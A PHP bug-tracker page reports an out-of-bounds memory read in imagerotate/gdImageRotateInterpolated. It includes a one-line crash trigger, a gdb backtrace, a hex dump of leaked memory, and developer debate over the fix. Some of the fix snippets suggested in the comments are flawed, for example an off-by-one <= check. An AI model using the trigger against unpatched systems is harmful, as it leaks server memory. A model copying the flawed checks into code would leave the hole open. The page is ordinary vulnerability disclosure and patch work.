php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #70976 Memory Read via gdImageRotateInterpolated Array Index Out of Bounds
Submitted: 2015-11-26 11:16 UTC Modified: 2016-02-02 09:31 UTC
Votes:1
Avg. Score:1.0 ± 0.0
Reproduced:0 of 0 (0.0%)
From: emmanuel dot law at gmail dot com Assigned: jpauli
Status: Closed Package: GD related
PHP Version: 5.6.15 OS: *
Private report: No CVE-ID: CVEE-2016-1903
View Add Comment Developer Edit
Anyone can comment on a bug. Have a simpler test case? Does it work for you on a different platform? Let us know!
Just going to say 'Me too!'? Don't clutter the database with that please !
Your email address:
MUST BE VALID
Solve the problem:
27 - 5 = ?
Subscribe to this entry?

 
 [2015-11-26 11:16 UTC] emmanuel dot law at gmail dot com
Description:
------------
This is the function prototype for ImageRotate:

resource imagerotate ( resource $image , float $angle , int $bgd_color [, int $ignore_transparent = 0 ] )


$bgd_color specifies the background color of an image have it has been rotated. This is passed in as an integer that represents an index to the color palette.

There is a lack of validation of $bgd_color. One can pass in a large number that exceeds the color palette array. This reads memory beyond the color palette. Information of the memory leak can then be obtained via the background color after the image has been rotated.

Test script:
---------------
./configure --with-gd


1) Pass in a large $bgd_color:

php -r "imagerotate(imagecreate(1,1),45,0x7ffffff9);"


2) This causes it to crash at gd_interpolation.c:2174  :


Stopped reason: SIGSEGV
0x00000000005fb0b4 in gdImageRotateInterpolated (src=0x7ffff7fb5b38, angle=45, bgcolor=0x7ffffff9) at php-5.6.15/ext/gd/libgd/gd_interpolation.c:2174
2174                            bgcolor =  gdTrueColorAlpha(src->red[bgcolor], src->green[bgcolor], src->blue[bgcolor], src->alpha[bgcolor]);



gdb-peda$ bt
#0  0x00000000005fb0b4 in gdImageRotateInterpolated (src=0x7ffff7fb5b38, angle=45, bgcolor=0x7ffffff9) at /home/elaw/php-5.6.15/ext/gd/libgd/gd_interpolation.c:2174
#1  0x00000000005d0b73 in zif_imagerotate (ht=0x3, return_value=0x7ffff7fb5810, return_value_ptr=0x7ffff7f80090, this_ptr=0x0, return_value_used=0x0)
    at /home/elaw/php-5.6.15/ext/gd/gd.c:2111
#2  0x0000000000850915 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f800c8) at /home/elaw/php-5.6.15/Zend/zend_vm_execute.h:558
#3  0x000000000085856c in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f800c8) at /home/elaw/php-5.6.15/Zend/zend_vm_execute.h:2602
#4  0x000000000084ee1a in execute_ex (execute_data=0x7ffff7f800c8) at /home/elaw/php-5.6.15/Zend/zend_vm_execute.h:363
#5  0x000000000084f806 in zend_execute (op_array=0x7ffff7fb42f8) at /home/elaw/php-5.6.15/Zend/zend_vm_execute.h:388
#6  0x00000000007f6636 in zend_eval_stringl (str=0x106ff80 "imagerotate(imagecreate(1,1),45,2147483641);", str_len=0x2c, retval_ptr=0x0,
    string_name=0xd46ac4 "Command line code") at /home/elaw/php-5.6.15/Zend/zend_execute_API.c:1077
#7  0x00000000007f68bc in zend_eval_stringl_ex (str=0x106ff80 "imagerotate(imagecreate(1,1),45,2147483641);", str_len=0x2c, retval_ptr=0x0,
    string_name=0xd46ac4 "Command line code", handle_exceptions=0x1) at /home/elaw/php-5.6.15/Zend/zend_execute_API.c:1124
#8  0x00000000007f6940 in zend_eval_string_ex (str=0x106ff80 "imagerotate(imagecreate(1,1),45,2147483641);", retval_ptr=0x0, string_name=0xd46ac4 "Command line code",
    handle_exceptions=0x1) at /home/elaw/php-5.6.15/Zend/zend_execute_API.c:1135
#9  0x000000000092ce99 in do_cli (argc=0x3, argv=0x106ff00) at /home/elaw/php-5.6.15/sapi/cli/php_cli.c:1034
#10 0x000000000092ddc5 in main (argc=0x3, argv=0x106ff00) at /home/elaw/php-5.6.15/sapi/cli/php_cli.c:1378
#11 0x00007ffff6027b45 in __libc_start_main (main=0x92d722 <main>, argc=0x3, argv=0x7fffffffe338, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
    stack_end=0x7fffffffe328) at libc-start.c:287
#12 0x0000000000421409 in _start ()


3) One can see that the color platte only has 256 entries:

gdb-peda$ ptype src
type = struct gdImageStruct {
......
    int red[256];
    int green[256];
    int blue[256];
....


4) Thus we are encountering an array index out of bounds.



5) I've created a full exploit that reads large contiguous chunk of memory. The POC can be obtained from https://www.dropbox.com/s/bwuivbug62ki4cs/gdImageRotateInterpolated_Array_Index_OOB_MEM_Read.php?dl=0


./php gdImageRotateInterpolated_Array_Index_OOB_MEM_Read.php


0c40  01 00 00 00 01 00 00 00  01 00 00 00 01 00 00 00   ........ ........
0c50  01 00 00 00 01 00 00 00  01 00 00 00 01 00 00 9d   ........ .......�
0c60  01 00 00 9d 01 00 00 fd  01 00 00 00 01 00 00 00   ...�...� ........
0c70  01 00 00 ef 01 00 00 00  01 00 00 2f 01 00 00 00   ...�.... .../....
0c80  01 00 00 20 01 00 00 ff  01 00 00 c8 01 00 00 ff   ... ...� ...�...�
0c90  01 00 00 20 01 00 00 ff  01 00 00 c8 01 00 00 ff   ... ...� ...�...�
0ca0  01 00 00 70 01 00 00 ff  01 00 00 60 01 00 00 ff   ...p...� ...`...�
0cb0  01 00 00 08 01 00 00 ff  01 00 00 b0 01 00 00 ff   .......� ...�...�
0cc0  01 00 00 58 01 00 00 ff  01 00 00 88 01 00 00 ff   ...X...� ...�...�
0cd0  01 00 00 30 01 00 00 ff  01 00 00 d8 01 00 00 ff   ...0...� ...�...�
0ce0  01 00 00 80 01 00 00 ff  01 00 00 28 01 00 00 ff   ...�...� ...(...�
0cf0  01 00 00 d0 01 00 00 ff  01 00 00 58 01 00 00 ff   ...�...� ...X...�
0d00  01 00 00 00 01 00 00 ff  01 00 00 a8 01 00 00 ff   .......� ...�...�
0d10  01 00 00 50 01 00 00 ff  01 00 00 f8 01 00 00 ff   ...P...� ...�...�
0d20  01 00 00 a0 01 00 00 ff  01 00 00 d8 01 00 00 ff   ...�...� ...�...�
0d30  01 00 00 80 01 00 00 ff  01 00 00 28 01 00 00 ff   ...�...� ...(...�
0d40  01 00 00 d0 01 00 00 ff  01 00 00 78 01 00 00 ff   ...�...� ...x...�
0d50  01 00 00 20 01 00 00 ff  01 00 00 f0 01 00 00 ff   ... ...� ...�...�
0d60  01 00 00 98 01 00 00 ff  01 00 00 40 01 00 00 ff   ...�...� ...@...�
.....



6) I've attached a patch for ext/gd/libgd/gd_interpolation.c.  For your consideration.


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-11-26 11:20 UTC] emmanuel dot law at gmail dot com
I dont seem to have permission to upload patch files here. One can get it from :

https://www.dropbox.com/s/rr5xti66cpt17mn/gd_interpolation.patch?dl=0
 [2015-12-08 07:23 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2015-12-22 10:49 UTC] jpauli@php.net
-Assigned To: stas +Assigned To: jpauli
 [2015-12-22 10:50 UTC] jpauli@php.net
Thank you for your report.
Your patch has been commited and will be part of next PHP release.
 [2015-12-28 20:48 UTC] stas@php.net
In security repo as 4bb422343f29f06b7081323844d9b52e1a71e4a5
 [2015-12-29 07:27 UTC] pajoye@php.net
Hi,

Thanks for the patch!

It is however incomplete, gdMaxColors apply only to palette image. True colors image can have color values ARGB where the integer representation is bigger that gdMaxColors.

It should be:

 if (bgcolor < 0 || (!im->trueColor && bgcolor >= gdMaxColors)) {

I do not have git access right now, it would be nice if you can update the fix accordingly. Thanks!
 [2015-12-29 07:37 UTC] pajoye@php.net
As I took a 2nd thought about it, getting my memory back about what I did in this implementation, a better patch is to move this check after:

if (src->trueColor == 0) {
		if (bgcolor >= 0) {
			bgcolor =  gdTrueColorAlpha(src->red[bgcolor], src->green[bgcolor], src->blue[bgcolor], src->alpha[bgcolor]);
		}
		gdImagePaletteToTrueColor(src);
	}

As this function only accepts truecolor, it converts the image to truecolor prior to any operation.

The check only needs to be bgcolor < 0 then as true color values can be anything > 0.
 [2015-12-29 07:44 UTC] stas@php.net
amended in 2baeb167a08b0186a885208bdc8b5871f1681dc8
 [2015-12-29 07:47 UTC] emmanuel dot law at gmail dot com
I don't have permissions to see the commits but the first post by pajoye makes sense. The 2nd however doesn't IMHO. It is still exploitable if we do the check after:
if (src->trueColor == 0) {
		if (bgcolor >= 0) {
			bgcolor =  gdTrueColorAlpha(src->red[bgcolor], src->green[bgcolor], src->blue[bgcolor], src->alpha[bgcolor]);
		}
		gdImagePaletteToTrueColor(src);
	}
 [2015-12-29 07:47 UTC] stas@php.net
Not sure I got the last comment - if I move the check after using src->red[bgcolor], won't it be able to access src->red with invalid bgcolor values?
 [2015-12-29 07:57 UTC] pajoye@php.net
@emmanuel

You are right. Sorry for the confusion, some coffee is needed :)

the check should be done in this true clause (for palette images), like:
if (bgcolor < 0) {
	return NULL;
}

if (src->trueColor == 0) {
	if (bgcolor <= gdMaxColors) {
		bgcolor =  gdTrueColorAlpha(src->red[bgcolor], src->green[bgcolor], src->blue[bgcolor], src->alpha[bgcolor]);
	}
	gdImagePaletteToTrueColor(src);
}
 [2016-01-06 03:19 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-01-06 03:19 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-01-06 03:38 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=4bb422343f29f06b7081323844d9b52e1a71e4a5
Log: Fix bug #70976: fix boundary check on gdImageRotateInterpolated
 [2016-01-06 06:34 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=84b8db597ae597abce1977ce64dcf231e71330f9
Log: Fix bug #70976: fix boundary check on gdImageRotateInterpolated
 [2016-01-06 06:34 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=4bb422343f29f06b7081323844d9b52e1a71e4a5
Log: Fix bug #70976: fix boundary check on gdImageRotateInterpolated
 [2016-01-06 06:34 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=84b8db597ae597abce1977ce64dcf231e71330f9
Log: Fix bug #70976: fix boundary check on gdImageRotateInterpolated
 [2016-01-06 06:34 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=4bb422343f29f06b7081323844d9b52e1a71e4a5
Log: Fix bug #70976: fix boundary check on gdImageRotateInterpolated
 [2016-01-06 06:35 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=4b8394dd78571826ac66a69dc240c623f31d78f8
Log: Fix bug #70976: fix boundary check on gdImageRotateInterpolated
 [2016-01-14 15:14 UTC] pajoye@php.net
-Status: Closed +Status: Re-Opened
 [2016-01-14 15:14 UTC] pajoye@php.net
The patch is wrong and is a BC break.  That will basically break for any true color image with a background color value > 256. gdMaxColors constant should never be used for truecolor images.



The test that should have modified is the one here:

https://github.com/php/php-src/blob/4bb422343f29f06b7081323844d9b52e1a71e4a5/ext/gd/libgd/gd_interpolation.c#L2165

See my last comment here.

I supposed it is already released right?
 [2016-01-14 18:26 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-01-21 11:46 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: CVEE-2016-1903
 [2016-02-02 09:31 UTC] jpauli@php.net
-Status: Re-Opened +Status: Closed
 [2016-02-02 09:31 UTC] jpauli@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

BC fixed in 5.5.32 and up
 [2016-07-20 11:34 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=84b8db597ae597abce1977ce64dcf231e71330f9
Log: Fix bug #70976: fix boundary check on gdImageRotateInterpolated
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Thu May 25 03:01:38 2017 UTC